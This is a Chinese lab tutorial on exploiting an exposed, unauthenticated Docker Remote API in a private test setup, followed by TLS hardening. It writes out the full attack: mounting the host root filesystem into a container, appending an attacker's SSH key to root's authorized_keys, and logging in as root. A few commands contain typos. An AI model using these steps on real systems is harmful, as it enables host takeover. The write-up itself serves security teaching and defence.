Docker Remote API未授权访问漏洞以及安全防护

一、拓扑图

Docker Remote API未授权访问漏洞以及安全防护_第1张图片

二、环境与配置

环境

设备

IP地址

操作类型

docker版本

镜像

训练机

192.168.0.2

centos7

18.03.1-ce

*

靶机

192.168.0.3

Ubuntu

24.0.4

至少一个容器镜像

靶机配置

执行vi /usr/lib/systemd/system/docker.service命令对靶机docker服务进行配置

执行 ExecStart=/usr/bin/dockerd -H unix:///var/run/docker.sock -H tcp://192.168.0.3:2375命令编辑docker.service文件,开启 Docker daemon 的远程访问,也就允许Docker daemon 进行本地和远程通信

Docker Remote API未授权访问漏洞以及安全防护_第2张图片

三、背景

在使用Docker Swarm中,管理Docker的节点默认会启动一个API服务,并且将2375作为默认端口,0.0.0.0绑定为默认可以访问到API的IP。因为API是可以执行Docker命令的,所以暴露在公网上就非常危险。如果目标是以root权限运行的Docker,那么就可以利用Docker能挂载宿主机的物理路径到容器中来写入ssh公钥来获取shell。

四、API测试

4.1执行docker -H tcp://192.168.0.3:2375 version命令查看靶机docker版本

Docker Remote API未授权访问漏洞以及安全防护_第3张图片

4.2执行docker -H tcp://192.168.0.3:2375 images命令查看靶机docker下容器镜像

五、漏洞利用

5.1执行docker -H tcp://192.168.0.3:2375 run -it -v /:/mnt ubuntu /bin/bash命令将靶机的/路径挂载到容器的/mnt路径下

5.2新建一个训练机的终端,执行ssh-keygen -t rsa命令生成秘钥对

Docker Remote API未授权访问漏洞以及安全防护_第4张图片

5.3执行cat /root/.ssh/id_rsa.pub查看公钥内容

5.4将公钥内容复制到文本编辑器中,然后将换行符删掉,将内容变成一行

然后切换到训练机进入容器Ubuntu的终端,在容器中输入echo "删除换行符后的内容" >>/mnt/root/.ssh/authorized_keys,命令如下:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFPFe9B7fHccehER3gLBPWr6xEM771AH2IO8P6DYK4u/RCes/E6o4Q7jAt+nLCrN8t3jJrCM6A626mr0h TuKYVGO6kxWs9lCJC8TlGv2B69fJVx7vX/HrwaBHQkPoyMq3GM7BoiFGiSJUu29qaTv/zZmxn7252yflQXeXoIqxQVWgX8OQDKlXQk6F+mvvLJNZSUUVMb4FOjfViChAJ8JBOaUbK5xQbpsDjiCQX Ike7X0pHHSb5PcOLs0ZuY059NqCrboiwCglrYsevlTWLEe4FNNfyjDxsAIxW40SU7p1hl/Hd42TQdDPpw9wfmYzxMq8cwG/hadzR6dSea5bKRetB root@Server-e76b1696-2869-4f19-97dd- b5c56e217cc9.novalocal" >>/mnt/root/.ssh/authorized_keys 

5.5再次切换到训练机终端,执行ssh [email protected]命令进行秘钥认证登录

Docker Remote API未授权访问漏洞以及安全防护_第5张图片

六、加固

6.1采取TLS技术进行加密认证和身份验证,执行vi /usr/lib/systemed/system/docker.service命令修改配置文件,取消14行注释,并给16行添加注释。

Docker Remote API未授权访问漏洞以及安全防护_第6张图片

6.2执行systemct daemon-reload和systemctl restart docker.service命令重启docker服务

七、验证

7.1训练机终端执行docker -H tcp://192.168.0.3:2376 run -it -v /:mnt ubuntu /bin/bash命令,发现无法进入靶机Ubuntu容器内

7.2执行 docker --tlsverify --tlscacert=/etc/docker/ca.pem --tlscert=/etc/docker/client-cert.pem --tlskey=/etc/docker/client-key.pem -H tcp://master:2376 run -it -v /:/mnt ubuntu /bin/bash命令,

使用证书再次进行验证,发现成功进入靶机Ubuntu容器内

Docker Remote API未授权访问漏洞以及安全防护_第7张图片

注意:tcp://master采用了本地主机名解析技术,也就是将IP地址192.168.0.3和主机名master的映射关系写入到了训练机/etc/hosts文件中了。

你可能感兴趣的:(安全加固,docker,安全,容器)